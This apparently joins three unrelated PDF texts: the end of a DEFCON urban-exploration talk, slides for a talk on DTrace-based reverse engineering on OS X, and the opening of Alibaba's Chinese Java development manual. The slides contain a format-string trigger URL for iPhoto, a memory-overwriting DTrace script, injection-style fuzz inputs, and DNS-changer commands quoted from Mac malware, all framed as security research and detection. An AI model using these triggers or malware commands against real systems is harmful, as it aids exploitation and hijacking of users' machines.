"Take nothing but photographs, leave nothing but footprints."
Vandalism or B&E increases your likelihood of criminal
charges
Creating new or obvious points-of-entry (PoE) invites graffiti,
theft, squatters, &etc.
Be respectful of property owners & future explorers by not
changing anything.
Life-cycle of an Abandonment
Secured
Boarded up windows
Chained doors
Locked Fences
Infiltrated
Break-in by scrappers, taggers, homeless, &etc
At least one Point of Entry (PoE)
PoE possibly concealed from view
Promiscuous
Accessibility well established
Multiple PoEs
Regular occupancy by taggers, homeless,
teenagers, explorers
Rapid deterioration of site
(graffiti, trash, theft, &etc)
Incident
Injury, death, murder, or arrest made on site
Police involvement
Property owner contacted, cycle repeats.
Hmm.. how to get in...
Discovering Locations
Open your eyes!
Check likely areas of town for the types of facilities you are
interested in.
Railroad tracks
Industrial Areas
Downtown Areas
Commercial Property Listings
Using the Internet
Google Earth / Satellite / Street View
Web searches. (ugh. I mean, really, do this last. )
Do not ask explorers online "Where is that location?"
akin to emailing someone from #hack and saying "Can I have a 0day
for xyz?"
For More Information
Access All Areas - Ninjalicious
Confessions of a Master Jewel Thief - Bill Mason
Infiltration Zine - infiltration.org
Urban Explorers: Into the Darkness
(a film by Melody Gilbert / Channel Z Films)
Cities of the Underworld (TV)
(UrbEx-esque documentary on the History Channel)
Music Videos? :-P
(I bet you do.)
Q&A / Audience Stories
Thanks! Enjoy DEFCON 16!
Love the quick profit, the annual raise, vacation with pay.
Want more of everything ready-made. Be afraid, to know your
neighbors and to die. And you will have a window in your head.
Not even your future will be a mystery any more. Your mind will be
punched in a card and shut away in a little drawer. When they want
you to buy something they will call you. When they want you to die
for profit they will let you know.
So, friends, every day do something that won't compute.
- excerpt from Manifesto:The Mad Farmer Liberation Front
by Wendell Berry | pdf |
RE:Trace – Applied Reverse
Engineering on OS X
Tiller Beauchamp
SAIC
David Weston
Microsoft
DTRACE BACKGROUND
What Is DTrace™?
*Dtrace was created by Sun Microsystems, Inc. and released under the Common Development and Distribution
License (CDDL), a free software license based on the Mozilla Public License (MPL).
DTrace Background
• Kernel-based dynamic tracing framework
• Created by Sun Microsystems
• First released with Solaris™ 10 operating System
• Now included with Apple OS X Leopard, QNX
• June 10th, 2008, committed to CURRENT branch
of FreeBSD 7, Will be in 8 STABLE (John Birrell)
• OpenBSD, NetBSD, Linux?
*Solaris™ is a trademark of Sun Microsystems, Inc. in the United States and/or other countries.
DTrace Overview
• DTrace is a framework for performance
observability and debugging in real time
• Tracing is made possible by thousands of
“probes” placed “on the fly” throughout the system
• Probes are points of instrumentation in the kernel
• When a program execution passes one of these
points, the probe that enabled it is said to have
fired
• DTrace can bind a set of actions to each probe
DTrace Architecture
Source: Solaris Dynamic Tracing Guide
The D Language
• D is an interpreted, block-structured language
• D syntax is a subset of C
• D programs are compiled into intermediate form
• Intermediate form is validated for safety when
your program is first examined by the DTrace
kernel software
• The DTrace execution environment handles any
runtime errors
The D Language
• D does not use control-flow constructs such as if
statements and loops
• D program clauses are written as single, straight-
line statement lists that trace an optional, fixed
amount of data
• D can conditionally trace data and modify control
flow using logical expressions called predicates
• A predicate is tested at probe firing before
executing any statements
DTrace Performance
• DTrace is dynamic: probes are enabled only
when you need them
• No code is present for inactive probes
• There is no performance degradation when you
are not using DTrace
• When the dtrace command exits, all probes are
disabled and instrumentation removed
• The system is returned to its original state
DTrace Uses
• DTrace takes the power of multiple tools and
unifies them with one programmatically
accessible interface
• DTrace has features similar to the following:
– truss: tracing system calls, user functions
– ptrace: tracing library calls
– prex/tnf*: tracing kernel functions
– lockstat: profiling the kernel
– gdb: access to kernel/user memory
DTrace Uses
• DTrace combines system performance statistics,
debugging information, and execution analysis
into one tight package
• A real “Swiss army knife” for reverse engineers
• DTrace probes can monitor every part of the
system, giving “the big picture” or zooming in for a
closer look
• Can debug “transient” processes that other
debuggers cannot
Creating DTrace Scripts
• Dozens of ready-to-use scripts are included with
Sun’s DTraceToolkit; they can be used as
templates
• These scripts provide functions such as syscalls
by process, reads and writes by process, file
access, stack size, CPU time, memory r/w and
statistics
• Complex problems can often be diagnosed by a
single “one-liner” DTrace script
Example: Syscall Count
1
2
3
3
4
4309
6899
• System calls count by application:
dtrace -n 'syscall:::entry{@[execname] = count();}'.
Matched 427 probes
Syslogd
DirectoryService
Finder
TextMate
Cupsd
Ruby
vmware-vmx
Example: File Open Snoop
#!/usr/sbin/dtrace -s
syscall::open*:entry {
printf("%s %s\n",
execname,
copyinstr(arg0));
}
Example: File Snoop Output
vmware-vmx
/dev/urandom
Finder
/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist
iChat
/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist
Microsoft Power
/Library/Preferences/SystemConfiguration/com.apple.smb.server.plist
nmblookup
/System/Library/PrivateFrameworks/ByteRange ... ByteRangeLocking
nmblookup
/dev/dtracehelper
nmblookup
/dev/urandom
nmblookup
/dev/autofs_nowait
Nmblookup
/System/Library/PrivateFrameworks/ByteRange... ByteRangeLocking
DTrace Lingo
• Probes are points of instrumentation
• Providers are logically grouped sets of probes
• Examples of providers include syscall, lockstat,
fbt, io, mib
• Predicates allow actions to be taken only when
certain conditions are met
• Actions are taken when a probe fires
DTrace Syntax
Generic D Script
Probe: provider:module:function:name
Predicate: /some condition that needs to happen/
{
Action:
action1;
action2; (ex: printf(); )
}
DTRACE AND REVERSE
ENGINEERING (RE)
How Can We Use DTrace?
DTrace for RE
• DTrace is extremely versatile and has many
applications for RE
• It is very useful for understanding the way a
process works and interacts with the rest of the
system
• DTrace probes work in a manner very similar to
debugger “hooks”
• DTrace probes are useful because they can be
described generically and focused later
DTrace for RE
• Think of DTrace as a rapid development
framework for RE tasks and tools
• One of DTrace’s greatest assets is speed
• DTrace can instrument any process on the
system without starting or stopping it
• Complex operations can be understood with a
succinct one-line script
• You can refine your script as the process
continues to run
Helpful Features
DTrace gives us some valuable features for free:
• Control flow indicators
• Symbol resolution
• Call stack trace
• Function parameter values
• CPU register values
• Both in kernel space and user space!
Control Flow
1 -> -[AIContentController finishSendContentObject:]
1 -> -[AIAdium notificationCenter]
1 <- -[AIAdium notificationCenter]
1 -> -[AIContentController processAndSendContentObject:]
1 -> -[AIContentController handleFileSendsForContentMessage:]
1 <- -[AIContentController handleFileSendsForContentMessage:]
1 -> -[AdiumOTREncryption willSendContentMessage:]
1 -> policy_cb
1 -> contactFromInfo
1 -> -[AIAdium contactController]
1 <- -[AIAdium contactController]
1 -> accountFromAccountID
Symbol and Stack Trace
dyld`strcmp
dyld`ImageLoaderMachO::findExportedSymbol(char
dyld`ImageLoaderMachO::resolveUndefined(...
dyld`ImageLoaderMachO::doBindLazySymbol(unsigned
dyld`dyld::bindLazySymbol(mach_header const*, ...
dyld`stub_binding_helper_interface2+0x15
Ftpd`yylex+0x48
Ftpd`yyparse+0x1d5
ftpd`ftp_loop+0x7c
ftpd`main+0xe46
Function Parameters
DTrace’s copyin* functions allow you to copy data
from the process space:
printf("arg0=%s", copyinstr( arg0 ))
Output:
1 -> strcmp arg0=_isspecial_l
CPU Register Values
Uregs array allows access to reading CPU registers
printf(“EIP:%x”, uregs[R_EIP]);
Example:
EIP: 0xdeadbeef
EAX: 0xffffeae6
EBP: 0xdefacedd
ESP: 0x183f6000
Destructive Examples
#!/usr/sbin/dtrace -w -s
syscall::uname:entry { self->a = arg0; }
syscall::uname:return{
copyoutstr(“Windows”, self->a, 257);
copyoutstr(“PowerPC”, self->a+257, 257);
copyoutstr(“2010.b17”, self->a+(257*2), 257);
copyoutstr(“fud:2010-10-31”, self->a+(257*3), 257);
copyoutstr(“PPC”, self->addr+(257*4), 257);
}
Adapted from: Jon Haslam, http://blogs.sun.com/jonh/date/20050321
Snooping
syscall::write: entry {
self->a = arg0;
}
syscall::write: return {
printf(“write: %s”,
copyinstr(self->a);
}
Got Ideas?
Using DTrace:
• Monitor stack overflows
• Code coverage
• Fuzzer feedback
• Monitor heap overflows
DTrace vs. Debuggers
• Don’t think of DTrace as a debugger
• User mode and kernel mode debuggers allow you
to control execution and inspect process
information
• DTrace can instrument both the kernel and user
land applications at the same time
• To trace execution, debuggers use instructions to
pause and resume execution
• DTrace carries out parallel actions in the kernel
when a probe is hit
DTrace vs. Debuggers
• Traditional debuggers also affect the target
process’s memory layout. DTrace doesn’t
• DTrace does not directly perform exception
handling
• DTrace can halt process and transfer control to
external debugger
• Currently DTrace is not susceptible to traditional
anti-debugging techniques (isdebuggerpresent())
• However, Apple has implemented probe blocking
with use of the PT_ATTACH_DENY
DTrace vs. Tracers
• Truss, ltrace, and strace operate one process at a
time, with no system-wide capability
• Truss reduces application performance
• Truss stops threads through procfs, records the
arguments for the system call, and then restarts
the thread
• Valgrind™ is limited to a single process and only
runs on Linux
• Ptrace is much more efficient at instruction level
tracing but it is crippled on OS X
*Valgrind is Open Source/Free Software and is freely available under the GNU General Public License.
DTrace Limitations
• The D language does not have conditionals or
loops
• The output of many functions is to stdout (i.e.,
stack(), unstack())
• Lack of loops and use of stdout means DTrace is
not ideal for processing data
• We can fix this
• Cannot modify registers :’( epic sad time
DTrace Cautionaries
A few issues to be aware of:
• DTrace drops probes by design
• Tune options, narrow trace scope to improve
performance
• Some libraries and functions behave badly
• overflows can cause violations before function
return
RE with Ruby, DTrace and the
Mach API
RE:Trace & RE:dbg
RE:Trace
• RE:Trace combines Ruby with DTrace
• Ruby gives us the power of OOP, text processing,
iteration
• RE:Trace utilizes Ruby libdtrace bindings, written
by Chris Andrews
• Can be the glue which combines the power of
several existing Ruby RE frameworks (idarub,
librub, metasm, MSF3)
• RE:Trace is similar to programmatic frameworks
(pyDBG, noxDBG, immDBG)
• Includes script to dump and search memory
IdaRub
• Wraps IDA interface
• Ruby code is the client
• Server is IDA plugin
• Ruby glues it all together
• IdaRub was released by Spoonm at REcon 2006
ida.set_item_color(eip, 3000)
More info:
http://www.metasploit.com/users/spoonm/idarub/
RE:Trace and Exploit Dev
• Vulnerability analysis times can be dramatically
reduced with RE:Trace
• DTrace probes allow you to track data input flow
throughout a process to understand where and
why memory corruption took place
• Methods that cause stack and heap corruption
can be pinpointed using IDARub to integrate
IDA’s static analysis features
RE:Trace and Code Coverage
• DTrace can “hook” every function in a process
• This makes it perfect for implementing a “code
coverage aware” fuzzer
• Code coverage is useful for understanding what
areas are being fuzzed
• Current RE code coverage monitors are mostly
block based (PaiMei)
• We can use IDA to obtain block information or
check code coverage at the function or instruction
level
RE:dbg
• RE:dbg picks up where RE:Trace left off
• Programmatic debugger for mach debug API
• Partially exists on OS X in Python (see vtrace and
Charlie Miller’s pydbg port)
Integrated Ruby based RE Toolset:
• Tracing : RE:Trace
• Disassembly: IDArub
• Debugger reDBG
RE:dbg
• C code around Mach debugging API with Ruby
bindings
• Higher level Ruby class to make everything easy
• Symbol resolution
• Read and write memory
• Walk memory segments
• Modify memory permissions
• Set breakpoints
• Exception handling
• Interface with IDA ( ... metasm?)
iPhoto Format String Exploit
• iPhoto format string vuln is a good test for
automation
• URL handler bug: iphoto://%dd%n
• What we want to do is trace with RE:Trace until
we hit printf with arg1=%25 (URL encoded %n)
• Use idarub to get disassembly info from IDA
• Set a break on RET of the function with reDBG
• When breakpoint is hit, print out stack return
address (or whatever you overwrote) to make
sure the overflow was correct
RE:Trace/reDBG/IDArub
Progtext = “pid$target::__vfprintf:entry
/copyinstr(arg2) == "%25n"/ {stop();}”
t = Dtrace.new
p = t.createprocess([ARGV[0]])
prog = t.compile progtext
prog.execute
t.go
p.Continue
ida,sess = IdaRub.auto_client
Func = ida.Get_func(eip)
function[0..4].each do |line|
if line == “ret”
Dbg = reDBG.new
dbg.attach(pid)
dbg.setBreak(line)
RE:dbg ASLR
• ASLR analysis
• Start the application, lookup addresses for
application and library symbols
• Search through all memory for references to
those addresses
• Rinse and repeat
Can you find an address that is always relative to
an address of a useful function?
RE:dbg Soon!
If it’s not up in a week, bug us
MONITORING THE STACK
Writing a Stack Overflow Monitor with RE:Trace
Stack Overflow Monitoring
Programmatic control at EIP overflow time allows
you to:
• Pinpoint the vulnerable function
• Reconstruct the function call trace
• Halt the process before damage occurs (HIDS)
• Dump and search process memory
• Send feedback to fuzzer
• Attach debugger
Overflow Detection in One
Probe
#/usr/sbin/dtrace -w -s
pid$target:::return
/ uregs[R_EIP] == 0x41414141 / {
printf("Don’t tase me bro!!!");
stop()
...
}
First Approach
• Store RETURN value at function entry
• uregs[R_SP], NOT uregs[R_ESP]
• Compare EIP to saved RETURN value at function
return
• If different, there was an overflow
Simple enough, but false positives from:
• Tail call optimizations
• Functions without return probes
DTrace and Tail Calls
• Certain compiler optimizations mess with the
standard call/return control flow
• Tail calls are an example of such an optimization
• Two functions use the same stack frame, saves
resources, less instruction
• DTrace reports tail calls as a return then a call,
even though the return never happens
• EIP on return is not in the original calling function,
it is the entry to second
• Screws up simple stack monitor if not aware of it
New Approach
• Store RETURN value at function entry
• At function return, compare saved RETURN value
with CURRENT value
• Requires saving both the original return value and
its address in memory
• Fires when saved RETURN ! = current RETURN
and EIP = current RETURN
But Missing Return Probes???
Still trouble with functions that “never return”
• Some functions misbehave
• DTrace does not like function jump tables
(dyld_stub_*)
• Entry probe but no exit probe
Determining Missing Returns
Using DTrace – l flag
• List entry/exit probes for all functions
• Find functions with entry but no exit probe
Using DTrace aggregates
•
Run application
•
Aggregate on function entries and exits
•
Look for mismatches
Exclude these functions with predicates
• / probefunc ! = “everybodyJump” /
Stack Overflow Video
Advanced Tracing
Diving in deeper:
• Instruction-level tracing
• Code coverage with IDA Pro and IdaRub
• Profiling idle and GUI code
• Feedback to the fuzzer, smart/evolutionary
fuzzing
• Conditional tracing based on function parameters
(reaching vulnerable code paths)
CODE COVERAGE
Instruction Tracing
Code Coverage Approach
Approach
• Instruction-level tracing using DTrace
• Must properly scope tracing
• Use IdaRub to send commands to IDA
• IDA colors instructions and code blocks
• Can be done in real time, if you can keep up
Tracing Instructions
• The last field of a probe is the offset in the
function
• Entry = offset 0
• Leave blank for every instruction
• Must map static global addresses to function
offset addresses
Print address of every instruction:
pid$target:a.out:: { print(“%d”, uregs[R_EIP]); }
Tracing Instructions (cont.)
• DTrace to print instructions
• Ruby-Dtrace to combined DTrace with Ruby
• Idarub and rublib to combined Ruby with IDA
Tracing libraries
• When tracing libraries, must know memory layout
of program
• vmmap on OS X will tell you
• Use offset to map runtime library EIPs to
decompiled libraries
Code Coverage with DTrace
Capabilities:
• Associate fuzz runs with code hit
• Visualize code paths
• Record number of times blocks were hit
• Compare idle traces to other traces
Limitations:
• Instruction tracing can be slow for some
applications
• Again, tuning and limiting scope
Coverage Visualization
Runtime Call Graphs
MONITORING THE HEAP
Writing a Heap Overflow Monitor
Hackin’ the Heap with RE:Trace
• The heap has become “the” major attack vector replacing
stack-based buffer overflows
• Relatively common unlink() write4 primitives are no longer
as “easy” to exploit on many platforms
• See Aitel and Waisman’s excellent “Debugging with ID”
presentation for more details
• As they point out, the key to the “new breed” of heap
exploit is understanding the heap layout and allocation
patterns
• ImmDBG can help you with this on Win32, and Gerrado
Richarte’s heap tracer can help you with visualization and
double free() on Solaris and Linux
Hackin’ the Heap with RE:Trace
• Many Different ways to use DTrace for heap
exploits
• Standard double free(), double malloc(), Leak
Detection
• Heap Visualization (Directed
Graphs/OpenGL/Instruments)
• Pesky off by one errors
• Spot app specific function pointers to overwrite
• Find heap overflows/corruptions that might not be
immediately dereference
OS X Heap Exploits
• Ltrace = Bonds on the Pirates, DTrace = Bonds
on the Giants
• Like Most BSD’s OS X does not store metadata
“in-band”
• Older techniques such as overwriting
initial_malloc_zones function pointers are dead
• You now have to overwrite app specific data
• DTrace already hooks functions to understand
heap layout and allocation patterns
• A slew of Heap Tools for OS X (vmmap,
MallocScribble, MallocCheckHeap, leaks)
Heap Visualization
Directed Graph of Heap Allocation Sizes:
RE:Trace Heap Smasher()
Refresher:
• When you malloc() on OS X, you are actually
calling the scalable zone allocator, which breaks
allocations into different zones by size:
Adapted from: OS X Internals A System Approach
RE:Trace Heap Smasher()
• In our heap smash detector, we must keep track
of four different “heaps”
• We do this by hooking malloc() calls and storing
them to ruby hashes with the pointer as the key
and the size allocated as the value
• We break the hashes into tiny, small, large, and
huge by allocation size
• We then hook all allocations and determine if the
pointer falls in the range of the previous
allocations. We can adjust the heap as memory is
free()’d or realloc’d()
RE:Trace Heap Smasher()
• By hooking C functions (strncpy, memcpy,
memmove, etc.) we can determine if they are
over-allocating to locations in the heap by looking
at the arguments and comparing to our heap
records
pid$target::strncpy:entry {
self->sizer = arg2;
printf("copyentry:dst=0x%p|src=0x%p;size=%i", arg0, arg1, arg2);
self->sizer = 0;
}
RE:Trace Heap Smasher()
• We can check to see if the allocation happens in
a range we know about
• If it does, we know the size allocation, and we
can tell if a smash will occur
• Compared to our stack smash detector, we need
very few probes. A few dozen probes will hook all
the functions we need
• We can attach to a live process on and off without
disturbing it
RE:Trace Heap Smasher()
• We also keep a hash with the stack frame, which
called the original malloc()
• When an overflow is detected, we know:
– Who allocated it (stack frame)
– Who used it (function hook)
– Where the overflowed memory is
– How large the overflow was
– We can find out if its ever free()’d
RE:Trace Heap Smasher() Video
RE:Trace Heap Smasher()
Future additions:
• Graphviz/OpenGL Graphs
• There is a new version of Firefox which has probes in the
JavaScript library
• This would give us functionality to help create tools similar
to Alexander Sotirov’s HeapLib (Heap Fung Shui) for heap
manipulation generically
• Can trigger on high level object creation or action, then
trace for mallocs
• You tell me?
DTRACE DEFENSE
Using DTrace Defensively
Basic HIDS with DTrace
• Using Dtrace, you can profile your applications
basic behavior
• See Stefano Zanero’s BH 06 talk on Anomaly
detection through system call argument
analysis
• You should then be able to trace for anomalies
with predicates
• This is great for hacking up something to protect
a custom application (monitor for return-to-libc)
• Easy to create a rails interface for monitoring
with Ruby-DTrace
Basic HIDS with DTrace
• Problem: “I want to use QuickTime, but it’s got
holes”
• Solution: Make a DTrace script to call stop() when
weird stuff happens
• QuickTime probably never needs to call /bin/sh or
mprotect() on the stack to make it writable
(Houston we have a problem)
*QuickTime® is a registered trademark of Apple Inc. in the United States and/or other countries.
Basic HIDS with DTrace
#!/usr/sbin/dtrace -q -s
proc:::exec
/execname == "QuickTime Player" &&
args[0] == "/bin/sh"/
{
printf("\n%s Has been p0wned! It tried
to spawned %s\n”, execname, args[0])
}
HIDS Video
DTrace and Rootkits
• Check out Archim’s paper “B.D.S.M the Solaris
10 Way,” from the CCC Conference
• He created the SInAr rootkit for Solaris 10
• Describes a method for hiding a rootkit from
DTrace
• DTrace FBT (kernel) provider can spy on all
active kernel modules
• Should have the ability to detect rootkits, which
don’t explicitly hide from DTrace (SInAr is the
only one I could find)
• Expect more on this in the future
DTrace for Malware Analysis
• Very easy to hack up a script to analyze MalWare
• Example: Leopard DNS Changer (OSX.RSPlug.A )
• Why the heck is my video codec calling…
/usr/sbin/scutil
add ServerAddresses * $s1 $s2
set State:/Network/Service/$PSID/DNS
• You can monitor file I/O and syscalls with just two lines
• Scripts to do this now included with OS X by default
• Malware not hiding from DTrace yet
• BUT Apple made that a feature (yayyy!)
Hiding from DTrace
• In Jan. Core DTrace developer Adam Leventhal
discovered that Apple crippled DTrace for Leopard
• On OS X Your application can set the
“PT_ATTACH_DENY” flag to hide from DTrace just like
you can for GDB
• Leventhal used timing analysis to figure out they are
hiding iTunes™ from DTrace
• Very easy to patch in memory or with kext
• Landon Fuller released a kext to do this
http://landonf.bikemonkey.org/code/macosx/Leopard_PT_DENY_ATTACH.20080122.html
KERNEL DEBUGGING
OS X Kernel / Driver
BSoD
Panic Log
/Library/Logs/PanicReporter/
Fri Feb 8 09:30:02 2008
panic(cpu 1 caller 0x001A7BED): Kernel trap at 0x5c3f1cf9, type 14=page fault, registers:
CR0: 0x8001003b, CR2: 0x00000004, CR3: 0x013bd000, CR4: 0x00000660
EAX: 0x00000000, EBX: 0x08d74490, ECX: 0x08d74490, EDX: 0x00000000
CR2: 0x00000004, EBP: 0x7633fd98, ESI: 0xe00002ed, EDI: 0x07038200
EFL: 0x00010202, EIP: 0x5c3f1cf9, CS: 0x00000008, DS: 0x07030010
Error code: 0x00000000
Backtrace, Format - Frame : Return Address (4 potential args on stack)
0x7633fb98 : 0x12b0e1 (0x455670 0x7633fbcc 0x133238 0x0)
0x7633fbe8 : 0x1a7bed (0x45ea20 0x5c3f1cf9 0xe 0x45e1d4)
0x7633fcc8 : 0x19e517 (0x7633fce0 0x9086080 0x7633fd98 0x5c3f1cf9)
0x7633fcd8 : 0x5c3f1cf9 (0xe 0x48 0x10 0x7030010)
0x7633fd98 : 0x612470 (0x8d74490 0x0 0xe00002ed 0x0)
0x7633fdf8 : 0x88a2c7 (0x6eaf000 0x7038200 0xe00002ed 0x0)
0x7633fe68 : 0x88b7ec (0x6eaf000 0x7024240 0x0 0x0)
0x7633fed8 : 0x88b824 (0x6eaf000 0x0 0x0 0x135b0f)
0x7633fef8 : 0x88e705 (0x6eaf000 0x2 0x5366a0 0x6e4686c)
0x7633ff18 : 0x41d149 (0x6eaf000 0x6f21700 0x1 0x19ccc1)
0x7633ff68 : 0x41c2a6 (0x6f21700 0x6d77208 0x7633ff98 0x1368db)
0x7633ff98 : 0x41bf88 (0x6eaa500 0x6d95540 0x7633ffc8 0x7e56998)
0x7633ffc8 : 0x19e2ec (0x6eaa500 0x0 0x1a10b5 0x7726f20)
Backtrace terminated-invalid frame pointer 0
Kernel loadable modules in backtrace (with dependencies):
com.keyspan.iokit.usb.KeyspanUSAdriver(2.1)@0x5c3e2000->0x5c436fff
dependency: com.apple.iokit.IOSerialFamily(9.1)@0x723000
dependency: com.apple.iokit.IOUSBFamily(3.0.5)@0x60d000
com.apple.driver.AppleUSBUHCI(3.0.5)@0x884000->0x891fff
dependency: com.apple.iokit.IOPCIFamily(2.4)@0x63c000
dependency: com.apple.iokit.IOUSBFamily(3.0.5)@0x60d000
com.apple.iokit.IOUSBFamily(3.0.5)@0x60d000->0x634fff
BSD process name corresponding to current thread: kernel_task
Page Fault
... Kernel trap at 0x5c3f1cf9, type 14=page fault, registers:
CR0: 0x8001003b, CR2: 0x00000004, CR3: 0x013bd000, CR4:
0x00000660
...
com.keyspan.iokit.usb.KeyspanUSAdriver(2.1)@0x5c3e2000-
>0x5c436fff
• Exception happens at 0x5c3f1cf9
• Keyspan driver is mapped to memory starting at 0x5c3e2000
• Drivers loaded page aligned so - 0x1000
• 0x5c3f1cf9 - 0x5c3e2000 - 0x1000 = 0xecf9
0xECF9
Registers from panic log:
...
CR0: 0x8001003b, CR2: 0x00000004, CR3: 0x013bd000, CR4: 0x00000660
EAX: 0x00000000, EBX: 0x08d74490, ECX: 0x08d74490, EDX: 0x00000000
...
Kernel Debugging
• All that was done without debugging
• What if we want to inspect memory?
• What if we get different errors and we aren’t sure why?
• Further debugging will be necessary
Kernel Debugging is a pain
• Require remote setup
• Need two hosts
• Export and import symbols
• Can DTrace help?
Kernel References
Apple Technical Note TN2063:
Understanding and Debugging Kernel Panics
Apple Technical Note TN2118:
Kernel Core Dumps
Hello Debugger: Debugging a Device Driver With GDB
http://developer.apple.com/documentation/Darwin/Conceptual/KEX
TConcept/KEXTConceptDebugger/hello_debugger.html
Uninformed volume 8 article 4 by David Maynor
http://www.uninformed.org/?v=8&a=4
HIGHER LEVEL TRACING
Leveraging Custom Application Probes
Application Probes
• Represent a more abstract action
• Browser example: Page Load, build DOM, DNS
request
• Helps for gathering performance metrics
• Also tracing VM languages like Java, Python, Ruby
• Largely still in the works
Tracing SQL Calls
•
fuzz inputs
•
hook the database
#!/usr/sbin/dtrace –s
pid$target:mysqld:*dispatch_command*:entry {
printf(”%Y %s\n”, walltimestamp, copyinstr(arg2))
}
Example:
2008 Jun 15 01:02:35 INSERT INTO router (prefix,
lladdr, mac, trusted, address) VALUES
('face<script>', 'face''', 'face;--', 1, 'face"')
Future Work
• Automated feedback and integration with fuzzers
• More experimenting with Kernel tracing
• Improved overflow monitoring
• Memory allocation analysis libraries (will help port
Sotirov’s HeapLib to ActiveX, DHTML version or
other browsers/OSes)
• Garbage collection behavior analysis
• More on utilizing application-specific probes
(probes for JS in browsers, MySQL probes, ...)
• New Probes: Network providers, IP send & recv
Your own ideas!
Conclusion
DTrace can:
• Collect an unprecedented range of data
• Collect very specific measurements
• Scope can be very broad or very precise
Applied to Reverse Engineering:
• Allows researchers to pinpoint specific situation (overflows)
• Or to understand general behavior (heap growth)
RETRACE + REDBG + IDA!
Thank You!
Tiller Beauchamp
SAIC
[email protected]
David Weston
Microsoft
[email protected]
See the RE:Trace framework for implementation:
( redbg coming soon! )
http://www.poppopret.org/
Questions? | pdf |
前 言
《Java 开发手册》是阿里巴巴集团技术团队的集体智慧结晶和经验总结,经历了多次大规模
一线实战的检验及不断完善,公开到业界后,众多社区开发者踊跃参与,共同打磨完善,系统化地
整理成册。现代软件行业的高速发展对开发者的综合素质要求越来越高,因为不仅是编程知识点,
其它维度的知识点也会影响到软件的最终交付质量。比如:数据库的表结构和索引设计缺陷可能带
来软件上的架构缺陷或性能风险;工程结构混乱导致后续维护艰难;没有鉴权的漏洞代码易被黑客
攻击等等。所以本手册以 Java 开发者为中心视角,划分为编程规约、异常日志、单元测试、安全规
约、MySQL 数据库、工程结构、设计规约七个维度,再根据内容特征,细分成若干二级子目录。
另外,依据约束力强弱及故障敏感性,规约依次分为强制、推荐、参考三大类。在延伸信息中,
“说明”对规约做了适当扩展和解释;“正例”提倡什么样的编码和实现方式;“反例”说明需要
提防的雷区,以及真实的错误案例。
手册的愿景是码出高效,码出质量。现代软件架构的复杂性需要协同开发完成,如何高效地协
同呢?无规矩不成方圆,无规范难以协同,比如,制订交通法规表面上是要限制行车权,实际上是
保障公众的人身安全,试想如果没有限速,没有红绿灯,谁还敢上路行驶?对软件来说,适当的规
范和标准绝不是消灭代码内容的创造性、优雅性,而是限制过度个性化,以一种普遍认可的统一方
式一起做事,提升协作效率,降低沟通成本。代码的字里行间流淌的是软件系统的血液,质量的提
升是尽可能少踩坑,杜绝踩重复的坑,切实提升系统稳定性,码出质量。
我们已经在 2017 杭州云栖大会上发布了配套的 Java 开发规约 IDE 插件,阿里云效也集成了
代码规约扫描引擎。次年,发布 36 万字的配套详解图书《码出高效》,本书秉持“图胜于表,表胜
于言”的理念,深入浅出地将计算机基础、 面向对象思想、JVM 探源、数据结构与集合、并发与
多线程、单元测试等知识客观、立体地呈现出来。紧扣学以致用、学以精进的目标,结合阿里巴巴
实践经验和故障案例,与底层源码解析融会贯通,娓娓道来。此书所得收入均捐赠公益事情,希望
用技术情怀帮助更多的人。
目录
前言
一、编程规约 ................................................................................................................................................... 1
(一)
命名风格 ...................................................................................................................................... 1
(二)
常量定义 ...................................................................................................................................... 4
(三)
代码格式 ...................................................................................................................................... 5
(四)
OOP 规约 .................................................................................................................................... 7
(五)
集合处理 ....................................................................................................................................11
(六)
并发处理 ....................................................................................................................................14
(七)
控制语句 ....................................................................................................................................18
(八)
注释规约 ....................................................................................................................................21
(九)
其它 ............................................................................................................................................22
二、异常日志 .................................................................................................................................................24
(一)
异常处理 ....................................................................................................................................24
(二)
日志规约 ....................................................................................................................................26
三、单元测试 .................................................................................................................................................28
四、安全规约 .................................................................................................................................................30
五、MySQL 数据库 .......................................................................................................................................31
(一)
建表规约 ....................................................................................................................................31
(二)
索引规约 ....................................................................................................................................32
(三)
SQL 语句 ....................................................................................................................................34
(四)
ORM 映射 ..................................................................................................................................35
六、工程结构 .................................................................................................................................................37
(一)
应用分层 ....................................................................................................................................37
(二)
二方库依赖 ................................................................................................................................38
(三)
服务器 ........................................................................................................................................39
七、设计规约 .................................................................................................................................................41
附 1:版本历史 ..............................................................................................................................................43
附 2:专有名词解释 ......................................................................................................................................44
(注:浏览时请使用 PDF 左侧导航栏)
Java 开发手册
1/44
一、 编程规约
(一) 命名风格
1. 【强制】代码中的命名均不能以下划线或美元符号开始,也不能以下划线或美元符号结束。
反例:_name / __name / $name / name_ / name$ / name__
2. 【强制】代码中的命名严禁使用拼音与英文混合的方式,更不允许直接使用中文的方式。
说明:正确的英文拼写和语法可以让阅读者易于理解,避免歧义。注意,纯拼音命名方式更要避免采用。
正例:renminbi / alibaba / taobao / youku / hangzhou 等国际通用的名称,可视同英文。
反例:DaZhePromotion [打折] / getPingfenByName() [评分] / int 某变量 = 3
3. 【强制】类名使用 UpperCamelCase 风格,但以下情形例外:DO / BO / DTO / VO / AO
/ PO / UID 等。
正例:JavaServerlessPlatform / UserDO / XmlService / TcpUdpDeal / TaPromotion
反例:javaserverlessplatform / UserDo / XMLService / TCPUDPDeal / TAPromotion
4. 【强制】方法名、参数名、成员变量、局部变量都统一使用 lowerCamelCase 风格,必须遵
从驼峰形式。
正例: localValue / getHttpMessage() / inputUserId
5. 【强制】常量命名全部大写,单词间用下划线隔开,力求语义表达完整清楚,不要嫌名字
长。
正例:MAX_STOCK_COUNT / CACHE_EXPIRED_TIME
反例:MAX_COUNT / EXPIRED_TIME
6. 【强制】抽象类命名使用 Abstract 或 Base 开头;异常类命名使用 Exception 结尾;测试类
命名以它要测试的类的名称开始,以 Test 结尾。
7. 【强制】类型与中括号紧挨相连来表示数组。
正例:定义整形数组 int[] arrayDemo;
反例:在 main 参数中,使用 String args[]来定义。
8. 【强制】POJO 类中布尔类型变量都不要加 is 前缀,否则部分框架解析会引起序列化错误。
说明:在本文 MySQL 规约中的建表约定第一条,表达是与否的值采用 is_xxx 的命名方式,所以,需要在
<resultMap>设置从 is_xxx 到 xxx 的映射关系。
反例:定义为基本数据类型 Boolean isDeleted 的属性,它的方法也是 isDeleted(),RPC 框架在反向解
析的时候,“误以为”对应的属性名称是 deleted,导致属性获取不到,进而抛出异常。
版本号
制定团队
更新日期
备注
1.5.0
阿里巴巴与 Java 社区开发者
2019.06.19
